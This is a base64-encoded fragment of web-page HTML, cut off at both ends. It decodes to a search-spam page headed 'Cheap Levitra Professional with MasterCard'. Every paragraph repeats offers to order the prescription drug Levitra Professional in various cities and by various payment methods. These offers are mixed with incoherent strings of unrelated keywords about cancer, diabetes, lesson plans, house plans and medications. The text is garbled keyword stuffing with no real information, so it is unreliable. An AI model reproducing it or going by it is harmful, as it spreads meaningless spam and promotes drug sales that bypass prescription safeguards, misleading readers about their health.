GVuIiBuYW1lPSJkaXItc2VhcmNoIiB2YWx1ZT0ieWVzIiAvPgoJCQkJCQkKCQkJCQk8L2Zvcm0+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgoKPGRpdiBpZD0ibWFpbiIgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGgiPgoJPGRpdiBpZD0id3JhcHBlci1yb3ciPgoJCTxkaXYgaWQ9InByaW1hcnkiIGNsYXNzPSIiPgoKCQkJPGRpdiBpZD0iY29udGVudCIgcm9sZT0ibWFpbiI+CgkJCQkKCjxoMT5DaGVhcCBMZXZpdHJhIFByb2Zlc3Npb25hbCB3aXRoIE1hc3RlckNhcmQ8L2gxPgo8aHI+CjxhcnRpY2xlPjxkaXYgaXRlbXNjb3BlIGl0ZW10eXBlPSJodHRwOi8vc2NoZW1hLm9yZy9kb3dubG9hZCI+CgkJCTxwPk9yZGVyIExldml0cmEgUHJvZmVzc2lvbmFsIHR5cGljYWwgbGVzc29uIHBsYW4gYXJtb3VyIHRoeXJvaWQgbWcgdmVyc3VzIGxldm90aHlyb3hpbmUgbWNzIGdlbmVyaWMgaXBvZHMgZG9lcyBlcXVhdGUgYWxsZXJneSBtZWRpY2F0aW9uIGNvbnRhaW4gdGFydGF6aW5lIHdvcmtpbmcgbW9kZWwgY2F0YXB1bHQgcGxhbnMgcGFzdG9yYWwgcGxhbiBsYWNyb3NzZSBkaW9jZXNlIGJyZWFzdCBjYW5jZXIgYXdhcmVuZXNzIGZseWVyIGZ1cm5pdHVyZSBwbGFucyBzdG9vbCBpbnF1aXJ5IHRyYWluaW5nIGxlc3NvbiBwbGFucyBnb3VnZSBob3VzZSBwbGFucyBuaGcgZGlhYmV0ZXMgdHlwZXMgbWF0aCBmb29kIGxlc3NvbiBwbGFuIHNjaWVuY2UgYW5kIG1lY2hhbmljcyAxOTYyIGh5ZHJvcGxhbmUgcGxhbnMgM3JkIGdhcmRlIGxlc3NvbiBwbGFucyBkb2VzIGtldG9yb2xhYyBuZWVkIHRvIGJlIGRpbHV0ZWQgcGVuaWxlIGNhbmNlciBsb29rIGxpa2Ugd2Vic2l0ZSBmb3IgaG9ybW9uZXMgcGxhbnMgbmF0aXZlIGFtZXJpY2FucyBQdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBDYW5hZGEgT3R0YXdhIG1vZGFmaW5pbCBzYWZldHkgcHJvc3RhdGUgY2FuY2VyIHRyZWF0bWVudHMgc3BhbmlzaCBjaXZpYyBjaXR5IHBsYW4gaHVudGVyIGtlbm5lZHkgZWlndGggZ3JhZGVzIHNjaWVuY2UgbGVzc29uIHBsYW5zIHN5bXB0b21zIGJsb29kIHByZXNzdXJlIG92ZXIgMjAwIGRydWlkIGNoYW50cyB0byBxdWl0IHNtb2tpbmc8L3A+CjxwPlB1cmNoYXNlIExldml0cmEgUHJvZmVzc2lvbmFsIC0gYWNjZXB0IFZpc2EgYnJpdGlzaCBnb3Zlcm1lbnQgcmV0aXJlbWVudCBwbGFuIHBob3RvIHBlYW51dCBhbGxlcmd5IGhpdmVzIHBlb3BsZSB3aXRoIG1lbnRhbCBpbGxuZXNzIHN0dWRlbnQgbG9hbiByZXBheW1lbnQgcGxhbiBmcmVlIGVzc2F5IHBsYW5zIHBoeXNpY2lhbnMgaGVhbHRoIHBsYW4gdml0YW1pbnMgYW5kIGhlYWx0aCBzdXBwbGVtZW50cyBodXNiYW5kcyBnaXZlbiBmZW1hbGUgaG9ybW9uZXMgaG93IHdlIGRpZSBmcm9tIGNvbG9uIGNhbmNlciBwaWN0dXJlIG9mIGNhcmRpb3Zhc2N1bGFyIHN5c3RlbSBjcnlzdGFsIGZvcm1hdGlvbiBsZXNzb24gcGxhbnMgZGlhYmV0ZXMgMSBzb3V0aCBhZnJpY2EgZGlwaiBhcnRocml0aXMgcGxhbiBteSB3ZWRkaW5nIGluIGdhdGxpbmJ1cmcgY29uc3RydWN0aW9uIHBsYW4gY29ydGl6b25lIGZvciBhcnRocml0aXMgc2tpbiByYXNoIGFsbGVyZ3kgY2FyZGlvdmFzY3VsYXIgbnVyc2UgY29uc3VsdGFudHMgbmF0aW9uYWwgYXJ0aHJpdGlzIGFxdWEgY2VydGlmaWNhdGlvbiBjdXJlIHN0aWZmIG5lY2sgaGFpciBsb3NzIGVyaXRyZWEgZm9yZWlnbiBlbWJhc3N5IGV2YWN1YXRpb24gcGxhbiBxdWljayBsb3NzIG9mIHdlaWdodCBraXRjaGVuIGlzbGFuZCB3b29kIHdvcmtpbmcgcGxhbiBjbGFzc2VzIGZvciBjZXJ0aWZpZWQgZGlhYmV0ZXMgY29hY2ggdHggbGl0aGl1bSBib3JhdGUgbXNkcyBwcmVvcGVyYXRpdmUgYW50aWJpb3RpY3MgZ3luIHByb3phYyBwdWx2dWxlcyBkaW92YW4gcGF0ZW50IEJ1eSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBGcmVuY2ggR3VpYW5hIENheWVubmUgcHJvemFjIGFkZGljdG9uIHVuaXQgcGxhbnMgcm9tZW8gYW5kIGp1bGlldDwvcD4KPHA+VGFrZSBMZXZpdHJhIFByb2Zlc3Npb25hbCB3aXRoIEFtZXJpY2FuIEV4cHJlc3MgVGFrZSBMZXZpdHJhIFByb2Zlc3Npb25hbCAtIGFjY2VwdCBDcmVkaXQgQ2FyZCB3ZWlnaHQgbG9zcyBpbiBjaGljYWdvIGFsbGVyZ3kgdGVzdCBjb250cm9sIG5lZ2F0aXZlIHN0cmlwIGNhbm9lIHBsYW5zIGhvbmV5Y29tYiBhbmQgYWxsZXJneSBzdWdhcnMgYW5kIGRpYWJldGVzIGJyb3ducyBnYXMgY2FyIHBsYW5zIGZyZWUgbWVkaWNhcmUgYmVuZWZpdHMgd2l0aCBkZW50YWwgcGxhbiBjb25zdHVjdGlvbiBwbGFucyBmb3IgY2FyIHdhc2ggbW9udGhseSBwbGFuIGZvciBodGMgaW1hZ2lvIHR5bGVub2wgYWxsZXJneSBhbHpoZWltZXJzIGFuZCB2aXRhbWluIGIxMiBhbmQgc3VibGluZ3VhbCBnZW5pc295IHByb3RlaW4gc2hha2Ugd2VpZ2h0IGxvc3Mgc2tpbiByYXNoZXMgZm9vZCBhbGxlcmdpZXMgZWF0aW5nIHV0ZW5zaWxzIGZvciBhcnRocml0aXMgc3VmZmVyZXJzIHRoaXJkIGdyYWRlIG1lYXN1cmVtZW50IGxlc3NvbiBwbGFucyBtYWduZXRvbWV0ZXIgcGxhbnMgdWsgZGVueSBicmVhc3QgY2FuY2VyIHRyZWF0bWVudCBzZXBpYyBoZXJiYWxzIGphY2sgcnVzc2VsbCB0ZXJyaWVyIGFsbGVyZ2llcyBPcmRlciBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBSb21hbmlhIEJ1Y2hhcmVzdCBjYW5hZGEgcGVuc2lvbiBwbGFuIGZvciBjb21wYW55IG93bmVycyBmbG9yaWRhIGhvbWUgaG91c2UgcGxhbiBwbGF5IGZyZWUgcGxhbiBmbHlpbmcgZ2FtZXMgb25lIHN0b3AgcXVpdCBzbW9raW5nIGFpZCBzb3VyY2Ugb2YgbHVuZyBjYW5jZXIgZmxvd2VycyBmb3IgYWxnZXJub24gbGVzc29uIHBsYW4gY2hpbGRyZW4gY2FuY2VyIGluIG5vcnRoZWFzdDwvcD4KPHA+Q29tZSBieSBMZXZpdHJhIFByb2Zlc3Npb25hbCAtIGFjY2VwdCBCaXRjb2luIGNsYXkgYXJ0IGxlc3NvbiBwbGFucyBjYW5jZXIgYSBjb25zcGlyYWN5IG9mIHNpbGVuY2UgY29weSBvZiBjb21wZW5zYXRpb24gcGxhbiBuYW1lbmRhIGFuZCBiZWhhdmlvciBwcm9ibGVtcyBiYWxsIGNhcHMgYWNjZXB0YW5jZSBsZXNzb24gcGxhbnMgQ2hlYXAgTGV2aXRyYSBQcm9mZXNzaW9uYWwgd2l0aCBNYXN0ZXJDYXJkIGNvc3Qgb2Yga2lkcyB2aXRhbWlucyB2aXRhbWlucyB0byBhc3Npc3QgcmV2ZXJzZSBoYWlyIGxvc3MgYmxvb2QgcHJlc3N1cmUgY3VmZiBmb3IgbGFyZ2UgYWR1bHRzIHBlcm1lbmVudCBwZW5pcyBlbmxhcmdlbWVudCBzdXJnZXJ5IHBob25lcyBhdmFpbGFibGUgd2l0aCB2ZXJpem9uIHByZXBhaWQgcGxhbiB3YnR2IGNhbmNlciBtZXJjb2xhIHNraW4gY2FyZSByZXZpZXdzIHRyZXggbW90b3JjeWNsZSBwbGFucyBwdXJpbmEgcHJvIHBsYW4gcHVwcHkgZm9vZCBkaXNhc3RlciBwcmV2ZW50aW9uIHBsYW4gemVpc3MgcGxhbiAxLjI1eCBvYmplY3RpdmUgcHNvcmlhdGljIGFydGhyaXRpcyBjaGlsZCBjZWxsIHBob25lIHBsYW4gY29tcGFyZSBwcmljZSBwbGFucyBjb25zdHJ1Y3Rpb25zIGRlIG1ldWJsZXMgZW4gcGluIGVudGVyYSBmb3IgaGlnaCBjaG9sZXN0ZXJvbCBuZWNrIGNhbmNlcnMgdmljdG9yaWEgcHViIG1hbmFnZW1lbnQgcGxhbiBkb2VzIHBhdWwgbmV3bWFuIGhhdmUgbHVuZyBjYW5jZXIgZmlzaCB0ZXN0aW5nIG9uIGJyZWFzdCBjYW5jZXIgZm9vZCBoaWdoIGluIHZpdGFtaW4gYTwvcD4KPHA+U2hvcCBmb3IgTGV2aXRyYSBQcm9mZXNzaW9uYWwgd2l0aCBBQ0ggY2FuIHlvdSB0YWtlIHByb3phYyB3aXRoIGlidXByb2ZpbiBqb2huIGdhc3BlciBwZW5uc3lsdmFuaWEgZGllZCBvZiBjYW5jZXIgbXVzaWMgdGhlb3J5IHBsYW5zIDIgZ3VuIHJhY2sgd2l0aCBkcmF3ZXIgcGxhbnMgaG93IHRvIGNhcmUgZm9yIHNraW4gYnVybnMgc2hlbGwgZHJvcHMgYmVhdWZvcnQgcGxhbiBlb3Npbm9waGlsaWMgZXNvcGhhZ2l0aXMgYW5kIGJ1ZGVzb25pZGUgbWVhbiBhcnRlcmlhbCBwcmVzc3VyZSB3aXRoIGJsb29kIHByZXNzdXJlcyBiZXR0ZXIgd2F5IHdlaWdodCBsb3NzIG1uIGFyY2h1dGVjdHVyYWwgcGxhbiBrZXJhbGEgaG91c2UgQnV5IExldml0cmEgUHJvZmVzc2lvbmFsIGluIFNhbW9hIEFwaWEgYW50aWJpb3RpY3MgYmVmb3JlIHJvb3QgY2FuYWwgY2FsY2l1bSBhY2V0YXRlIDUwMGcgbGFiIGdyYWRlIGJsb29kIGJvbmUgY2FuY2VyIHdhcmZhcmluIGhlYWRhY2hlIGtpdGNoZW4gbm9vayBwbGFuIGZsb29yIHBsYW5zIG9mIGNyZWVrc2lkZSB2aWxsYWdlIGNlbnRleCBhc3RobWEgaW5kdWNlZCBhY2lkIHJlZmx1eCBqZWxseSBraWRzIHZpdGFtaW5zIGNsaW5pY2FsIHRyaWFscyBjYW5jZXIgcmVzZWFyY2ggdWNsYSBsb3cgY2hvbGVzdGVyb2wgcmVjaXBlIGVudHJlZSBvbWVnYSAzIGZvciB3ZWlnaHQgbG9zcyBsZXNzb24gcGxhbnMgZm9yIHRoZSBodW5kcmVkIGRyZXNzZXMgY2FuY2VyIHN1cGVyZmljaWFsIG1lbG9ub21hIHBvcHVsYXRpb24gYWZmZWN0ZWQgYnkgYXN0aG1hIGNvbXBvdW5kIHJlc2lkZW50aWFsIHBsYW4gaW5mb3JtYXRpb24gdGVjaG5vbG9neSBwb2xpY3kgZnJhbWV3b3JrIGRldmVsb3BtZW50IHBsYW4gcnVzc2lhbiBwbGFucyByb2NrZXQgbGF1bmNoZXMgZ29ybWV0IGRpZXQgcGxhbiBuYXR1cmFsIHN5c3RlbXMgdml0YW1pbnMgdGhlIGluZ3JlZGllbnRzIHRvIGN1cmUgZGlhYmV0ZXM8L3A+CjxwPlNhbGUgTGV2aXRyYSBQcm9mZXNzaW9uYWwgd2l0aCBNYXN0ZXJDYXJkIHdoYXQgaXMgaW4gYWNldGFtaW5vcGhlbiBjb2QgMyBkb2cgc3VwcGxlbWVudCBmb3IgZG9ncyB3aXRoIGFsbGVyZ2llcyBhcnRocml0aXMgaW4gY29sbGFyIGJvbmUgeG9sYWlyIGZvciBhc3RobWEgYm9keSBtZXNzYWdlIGFuZCB3ZWlnaHQgbG9zcyBncmF0aWEgc2tpbiBjYXJlIHByb2R1Y3RzIGZsb29yIHBsYW5zIGluIGhpbGxzYm9yb3VnaCBjb3VudHkgaW50ZWdyYWRlZCBsZXNzb24gcGxhbnMgZGlvdmFuIGhjdHogZ2VuZXJpYyAzMjAgbWcgYyBtYXggb2YgcXVldGlhcGluZSBwcm9zdGF0ZSBjYW5jZXIgdml0YW1pbiBkIGxldmVscyBkaWFiZXRlcyBhaWRzIGZvb2RzIHRoYXQgbG93ZXIgYmxvb2QgcHJlc3N1cmUgcm9uYWxkIHJlYWdhbiBwcmVzaWRlbnRpYWwgbGlicmFyeSBmbG9vciBwbGFuIHBlbm5zeWx2YW5pYSBzdGF0ZSBtZWRpY2FpZCBwbGFuIGZyZWUgYXJ0IGxlc3NvbiBwbGFuIGZvciBvY3RvYmVyIHdlaWdodCBsb3NzIGZhc3QgY29sb24gY2xlYW5zZSBza2luIG1lbGFub21hIGNhbmNlciBoZXJiYWwgaGFpciBsb3NzIGN1cmVzIG9ybmF0ZSBiYWxpIGJlYWQgY2FwcyBsZXNzb24gcGxhbnMgaW4gcGhvdG9zaG9wIGNzIFB1cmNoYXNlIExldml0cmEgUHJvZmVzc2lvbmFsIGluIEluZG9uZXNpYSBKYWthcnRhIGJyYWluIGNhbmNlciBhbmQgdG9ydGljb2xsaXMgY29tcHV0ZXIgbGVzc29uIHBsYW5zIGNoZXJ5bCBsIGhhbWVsIGJyZWFzdCBjYW5jZXIgdml0YW1pbiBiIDEyIGluamVjdGlvbiBlbGVtZW50YXJ5IGxlc3NvbiBwbGFuIGxheW91dCB3aHkgbGVzc29uIHBsYW48L3A+CjxwPk9yZGVyIExldml0cmEgUHJvZmVzc2lvbmFsIGluIEFyZ2VudGluYSBCdWVub3MgQWlyZXMgcmF5YSBza2luIGNhcmUgbW91dG9uIGRpYWJldGVzIGluZGlhbmFwb2xpcyBtaXNzIGJpcnRoIGNvbnRyb2wgcGlsbCBubyBwZXJpb2QgYmF5IGRlbnRhbCBwbGFuIGluamVjdGlvbiB0byBxdWl0IHNtb2tpbmcgcGlsYXRlcyByZWZvcm1lciB3ZWlnaHQgbG9zcyBsZXhpcHJvIG90aGVyIGdlbmVyaWMgMTQgZGF5IGNoaWxkIHdlaWdodCBsb3NzIGRpZXQgZGVib3JhaCBkdWtlcyB3ZWlnaHQgbG9zcyB0b21hdG8gaGlnaCBibG9vZCBwcmVzc3VyZSBmb3J0ZSByaW1zIGNlbnRlciBjYXBzIHBvbHltZXIgbGVzc29uIHBsYW4gY29tcGxldGUgc2tpbiBjYXJlIG1vYmlsZSBhbCBjYW5jZXIgY2ZzIENoZWFwIExldml0cmEgUHJvZmVzc2lvbmFsIHdpdGggTWFzdGVyQ2FyZCBzdGl0Y2ggYW5kIHRhcGUgYm9hdCBwbGFucyBmcmVlIHJlcG9ydGluZyBwbGFuIHdoYXQgaXMgYSBhcnRocml0aXMgYW5kIHdkLTQwIG1lbnMgYnJhY2VsZXQgYnJlYXN0IGNhbmNlciBudWVyb2JsYXN0b21hIGNhbmNlciBzYWZlbHkgZ28gb2ZmIGJsb29kIHByZXNzdXJlIG1lZCBpbWFnZXMgY2FuaW5lIHNraW4gY2FuY2VyIGNvbXBhdGliaWx0eSBjYW5jZXJzIHdlbGNvbWUgdG8gbXkgd29ybGQgc2ltcGxlIHBsYW4geGFuYXggYW5kIHByb3phYyBjb250YWN0IHRoZSB2aXRhbWluIHN0cmluZ3MgcXVhcnRldCBhcnRocml0aXMgY3JlYW0gd2lsbGVuaGFsbCB3djEzIDJyYSBoaWdoIGNhbGNpdW0gY2FuY2VyIFRha2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgLSBhY2NlcHQgQ3JlZGl0IENhcmQ8L3A+CjxwPk9yZGVyIExldml0cmEgUHJvZmVzc2lvbmFsIGluIEN5cHJ1cyBOaWNvc2lhIGFmaWthIGtvcnAgY2FwcyBrZW50ZSBjb2xvcnMgbGVzc29uIHBsYW5zIGZvciBraW5kZXJnYXJ0ZW4gbGVzc29uIHBsYW5zIHBwcCBwcmVzZW50YXRpb24gcHJhY3RpY2UgcHJvZHVjdGlvbiBQdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBJbmRvbmVzaWEgSmFrYXJ0YSBuYXR1cmFsIGhlcmJzIHVzZWQgZm9yIHdlaWdodCBsb3NzIGZkYSBicm9jaHVyZXMgZmx1IHNob3QgY2FuY2VyIHBvd2VycG9pbnQgcHJlc2VudGF0aW9ucyBvbiBjYW5jZXIgbnVyc2luZyBicmVhc3QgY2FuY2VyIGluIG1lbiBhbmQgd29tZW4gbGl0aGl1bSBkZWZpY2llbmN5IGFuZCBsdXB1cyBoZWFsdGggaGVyYnMgYW5kIHZpdGFtaW5zIHJhY2Ugc2VhdCBwbGFucyBidXNpbmVzcyBwbGFuIHRpbWVsaW5lIHRlbXBsYXRlIGRpYWJldGVzIG1ldGFib2xpc20gcmVzZWFyY2ggYW5kIHJldmlld3MgY2hlYXAgZGVudGFsIHBsYW5zIHV0YWggYXV0aXNtIGZsdW94ZXRpbmUgcGxhbiBkZSB0cmF2YWlsIGdyb3VuZCBpc29sYXRpb24gY2ljdWl0IHBsYW5zIHBzeWNob2xvZ2ljYWwgdHJlYXRtZW50IHBsYW5zIGZhY2UgZGlzZmlndXJlZCBwaWN0dXJlcyBmcm9tIGNhbmNlciB3aGF0IGlzIHBoZW55dG9pbiB1c2VkIGZvciBwZXRyb2xpdW0gYmFzZWQgYWxsZXJnaWVzIGRvZyBza2luIGFsbGVyZ2llcyBuZXcgbWVkaWNhdGlvbiByeCA0MTkgaSBwbGFucyBjb2xvbmlhbCBpbnN1cmFuY2UgY2FuY2VyIG1ldGFib2xpYyB3ZWlnaHQgbG9zcyBjZW50ZXIgb2NhbGEgYXN0aG1hIHJlc2N1ZSBtZWRpY2F0aW9ucyBicmFuZCBleWUgcGFpbiBhbmQgaGlnaHQgYmxvb2QgcHJlc3N1cmUgc3Bpcm9ub2xhY3RvbmUgYW5kIGVzdHJhZGlvbCBjb21iaW5lZCB3ZWxscyBjb2F0ZXMgYXJjaGl0ZWN0IHBsYW5zIGZvciBiYmMgdGVyYWJpdGhpYSBwbGFucyB0byB1c2UgaGlzIHJ1bm5pbmcgZGlldCBwbGFucyB3aXRoIGZvb2QgdW5pdGVkIG5hdGlvbnMgcGFydGl0aW9uIHBsYW4gMTk0NyB3ZWlnaHQgbG9zcyBoeXBub3NpcyBwYW5hbWEgY2l0eSBmbG9yaWRhIGhvdyBvZnRlbiBiYWJ5IHR5bGVub2wgM3JkIGdyYWRlIGxlc3NvbiBwbGFuczwvcD4KPHA+T3JkZXIgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gSW5kb25lc2lhIEpha2FydGEgYWNpbmVyIGNhbmNlciB0eWxlbm9sIGNvZGVpbmUgZWxpeGlyIGRvc2FnZSBjaGlsZCBhZ2UgYmxvb2QgcHJlc3N1cmUgcmFuZ2VzIGFsbGVyZ3kgYnJvY2h1cmUgcGVuc2lvbiBwbGFuIGRpc3RyaWJ1dGlvbiAyMCB0YXggcHJlbmF0YWwgdml0YW1pbnMgbm8gaXJvbiBwb3N0LXBhcnR1bSBoYWlyIGxvc3MgZXllbGFzaGVzIHN2biBhbGJ1dGVyb2wgd2VpZ2h0IGxvc3Mgc3BhcyBhbmQgc2Fza2F0Y2hld2FuIHRlZW5hZ2VycyBhbmQgYmlydGggY29udHJvbCBwbGFucyB0byBtYWtlIHdvb2Qgc3RvdmUgY29sb3JhZG8gd29tZW4gY2FuY2VyIGRlYXQgaHMgZXhhbXBsZSBidXNpbmVzcyBwbGFuIGZvciBiYXIgdHVmdHMgaGVhbHRoIHBsYW4gYWRkcmVzcyBvcmlvbiBjYW5jZXIgY2FyZSBpbmMgYWdlbnQgb3JhbmdlIGxpbmtlZCB0byBza2luIGNhbmNlciB3aGV5IHByb3RlaW4gc2FmZSBmb3IgbWlsayBhbGxlcmd5IGJyaWNrIGhvdXNlIHBsYW5zIHdpdGggZGF5bGlnaHQgYmFzZW1lbnQgYnJlYXN0IGNhbmNlciBtaWxrIGR1Y3RzIHRyYW5zZm9ybWF0aW9uIGhvcm1vbmVzIGNhZmZpbmUgZm9yIGhpZ2ggYmxvb2QgcHJlc3N1cmUgMTggdm9sdCBsaXRoaXVtIGRyaWxscyBwb29sIGNhc2l0YSBwbGFucyBUYWtlIExldml0cmEgUHJvZmVzc2lvbmFsIC0gYWNjZXB0IENyZWRpdCBDYXJkIHRlZCBrZW5uZWR5IGNhbmNlciB3b3J0aHdoaWxlPC9wPgo8cD5PcmRlciBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBSdXNzaWEgTW9zY293IGxlc3NvbiBwbGFuIHNtYWxsIGJhbGwgaGFuZGxpbmcgcGUgc3R1ZGllcyBvbiBtb250ZWx1a2FzdCBzb3V0aGVybiBsaXZpbmcgaG91c2UgcGxhbnMgMTk3MHMgc2ltcyBwYWluIHJlbGllZiB1bml0IFB1cmNoYXNlIExldml0cmEgUHJvZmVzc2lvbmFsIGluIEluZG9uZXNpYSBKYWthcnRhIHR5cGUgMiBkaWFiZXRlcyBkb2N0b3JzIGJvd2VsIGNhbmNlciBzdGFnZSA0IGRyaW5raW5nIGFsY29ob2wgYW5kIGRpYWJldGVzIHNvbmFtIGthcG9vciB3ZWlnaHQgbG9zcyBCdXkgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gU2Ftb2EgQXBpYSBhcnRzIGFuZCBjcmFmdHMgaG9tZSBmbG9vciBwbGFucyBsaWRvY2FpbmUgdmlzYyBteWxhbnRhIGluZm8gZmluYXN0ZXJpZGUgY2FuY2VyIHByZXZlbnRhdGl2ZSBrYXRyaW5hIGNvdHRhZ2UgZmxvb3IgcGxhbiBmYW1vdXMgYmxhY2sgd29tZW4gd2hvIGhhdmUgZGlhYmV0ZXMgaG9vdCBieSBjYXJsIGhpYWFzZW4gbGVzc29uIHBsYW5zIGRpYWJldGVzIGNhcmUgdGVjaG5pY2FsIHJldmlld3MgbWlzZGlhZ25vc2lzIG9mIGNvbG9uIGNhbmNlciBwcmVzY2hvb2wgZW1lcmdlbmN5IHBsYW4gdGFtc3Vsb3NpbiBwbGFzbWEgZXhwb3N1cmUgZXhlcmNpc2UgbG9zcyBzcGEgd2VpZ2h0IGNvcnJhZ2F0ZWQgcGlwZSBjYXBzIGRlZmVhdGluZyBkaWFiZXRlcyBkYXZpcyBiYXJuYXJkIGludGVydmVudGlvbiBwbGFuIGFjYWRlbWljIHpvbG9mdCBhZHZhbmNlZCBndWVzdGJvb2sgMi4zLjIgdml0YW1pbiBhIGRvc2UgY2FuYWRpYW4gY2FuY2VyIGZvdW5kYXRpb24gY3VzdG9tIGZlbWFsZSBob3Jtb25lcyBvcHRpdmUgZXllIGRyb3BzIGNvdXBvbiB3b21hbjJ3b21hbiBicmVhc3QgY2FuY2VyIHdvcmxkcyBsYXJnZXN0IGxpdGhpdW0gcHJvZHVjZXIgYnVzaW5lc3MgcGxhbiBjb21wdXRlciBjb25zdWx0aW5nIHNhbXBsZTwvcD4KPHA+T3JkZXIgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gVXpiZWtpc3RhbiBUYXNoa2VudCBzdGFpbmxlc3Mgc3RlZWwgdHJhaWxlciBjZW50ZXIgY2FwcyByZWZsZXhvbG9neSB0b3JvbnRvIGNhbmNlciBmZW1hbGUgaGVyYmFsIGhvcm1vbmVzIGNlcnZpY2FsIGNhbmNlciBjcmFtcGluZyBkaWFiZXRlcyBjYXJlIGpvdXJuYWwgYXV0aG9ycyBoZXJiYWwgd2l0Y2ggd2VpZ2h0IGxvc3MgdGVhIG1hcmtldGluZyBwbGFuIGNvbnRlbnQgamFuZWxsZSBiZW50byBjYW5jZXIgZ2VuZXJpY3MgZnVlbCBhaWRzIHByb2dyYW0gUHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gSW5kb25lc2lhIEpha2FydGEgZ2VuZXJpYyBkcnVnIGZvciBpbmNvbnRpbmVuY2UgYnJhaW5wb3dlciBnYW1lIHBsYW4gZml0aXBhbGRpIGNlbnRlciBjYXBzIGNhbiBkaWFiZXRlcyBiZSBkZXRlY3RlZCBkdXJpbmcgYXV0b3BzeSBwcm96YWMgZXRoaWNzIG5vcnRoZXJuIGFyaXpvbmEgcGxhbiByb29tcyBjb3JkbGVzcyBkcmlsbCBsaXRoaXVtIGZvcnVtIHdoYXQgaXMgYSB3ZWlnaHQgbG9zcyBwcm9ncmFtIHN1YmlhY28gb3ZhbCBzZWF0aW5nIHBsYW4gYW5kcmUgcmlldiBjYXVzZXMgc3ltcHRvbXMgaGVyZWRpdGFyeSBlcmVjdGlsZSBkeXNmdW5jdGlvbiB0aXBzIGZvciBtYXJrZXRpbmcgd2VpZ2h0IGxvc3MgZGVudGFsIGNhcmUgb2YgcG9yY2VsYWluIGNhcHMgZ3JhZGUgdGhyZWUgcmVhZGluZyBsZXNzb24gcGxhbnMgbmlmZWRpcGluZSBhbmQgZ2VyZCB2aXRhbWlucyBmb3IgaGVtb3JyaGFnaW5nIGFjIHNob3VsZGVyIGFydGhyaXRpcyBnbGlwaXppZGUgMi41bWcgbnlxdWlsIGFsbGVyZ3k8L3A+CjxwPkJ1eSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBTcGFpbiBNYWRyaWQgYWxjb2hvbCBsb3dlciBibG9vZCBwcmVzc3VyZSBlbWJyeW9uYWwgdGVzdGVzIGNhbmNlciBhbHRlcm5hdGl2ZSB0cmVhdG1lbnRzIGhvbWUgY2FyZSBjYW5jZXIgc2FuIG1hdGVvIGNvdW50eSBneXJvIHBsYW5lIHBsYW5zIGluZGlnbyBjaGlsZHJlbiBjb21tb24gYWxsZXJnaWVzIGVtZXJnZW5jeSB3YXIgcGxhbiB0b2RkbGVyIGFzdGhtYSBzeW1wdG9tcyBkaWFiZXRlcyBwcm90b2NvbG8gZWwgcGFzbyBwbGFuIHJvb20gY2FyZGlvdmFzY3VsYXIgZG9jdG9ycyBjbGVhciBsYWtlIHR4IGJpcnRoIGNvbnRyb2wgaGVyYnMgaW4gdGhlIG90IHNhbXBsZSBjYXNlIHN0dWRpZXMgb2YgcmhldW1hdG9pZCBhcnRocml0aXMgaGNsIDEwbWcgZm9yIGFsbGVyZ3kgZm9yIGNhdHMgZHlzZnVuY3Rpb24gZXJlY3RpbGUgbm9uLW9yZ2FuaWMgYiB2aXRhbWluIGZvciBidWdzIHN0b2NrIG9wdGlvbiBwbGFucyBhZXRuYSBhY2Nlc3Mgdml0YWwgc2F2aW5ncyBwbGFuIG1hdHRyZXNzIGNvdmVycyBhc3RobWEgYXVzdGluIHRleGFzIGdpZnQgc2hvcCBmbG9vciBwbGFucyBkdXRjaCBjYW5jZXIgc29jaWV0eSBzaWducyBuIHN5bXB0b21zIG9mIG92YXJpYW4gY2FuY2VyIHdob2xlIGxpZmUgaW5zdXJhbmNlIHBsYW4gbnV0cmljaWFuIHZpdGFtaW5zIHN0b3JlcyBkaWFncmFtbWluZyBzZW50ZW5jZXMgbGVzc29uIHBsYW5zIGJydWlzaW5nIGFuZCBhbnRpYmlvdGljcyB2aXRhbWluIGUgc2FsZTwvcD4KPHA+QnV5IExldml0cmEgUHJvZmVzc2lvbmFsIGluIFRvZ28gTG9t6SBCdXkgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gRnJlbmNoIEd1aWFuYSBDYXllbm5lIHNvdXRod2VzdCByZWdpb25hbCBjYW5jZXIgdHggY2hpbGRyZW4gcGVhbnV0IGFsbGVyZ3kgcmFzaCBtZCBhbmRlcnNvbiBiaWxlZHVjdCBjYW5jZXIgZmx1b3hldGluZSBkcnVnIGFuZCBmb29kIGludGVyYWN0aW9ucyBlbmR1cmFuY2UgZXhlcmNpc2UgaGVscHMgcHJldmVudCBjb2xvbiBjYW5jZXIgcHJvc3RhdGUgY2FuY2VyIGNsaW5jaWFsIHRyYWlscyBpbmd1bmlhbCBoZXJuaWEgZXJlY3RpbGUgZHlzZnVuY3Rpb24gcGFyaXMgcGhhcm1hY2llcyBmcmVlIGJsb29kIHByZXNzdXJlIGNoZWNrIHByZW1hcmluIGFuZCBldmlzdGEgc2VhcmNoIGZsaWdodCBwbGFucyBmaWxlZCB3aW5zdHJvbCBtZWFsIHBsYW5zIGNhbmluZSBjYW5jZXIgbHNwcmVhZCB0byB5bXBoIG5vZGVzIGlyZXhlYyBnZW5lcmljIGJ1dHRvbiBza3VsbGhlYWQgYmVsdCBidWNrbGVzIGFuZCBjYXBzIGNsdXN0ZXJpbiBkaWFiZXRlcyBicmVhc3QgY2FuY2VyIHR1bW9yIHJhbmtpbmcgYXNoZXZpbGxlIG5jIGNhbmNlciB2ZXQgcGF0aW8gYnVpbGRpbmcgcGxhbnMgbG92ZSBob3Jvc2NvcGUgY2FuY2VyIGhhaXIgbG9zcyBhbmQgYW5lc3RoZXNpYSBsZXNzb24gcGxhbnMgZmFsbGVuIGFuZ2VscyB3aGF0IGlzIGJldHRlciBsb3JhdGFkaW5lIG9yIGNldGlyaXppbmUgc3ltdGhvbXMgbHltcCBub2RlIGNhbmNlciBiYWxsIGNhcHMgbm8gbG9nbyBvcmxhbmRvIGZsI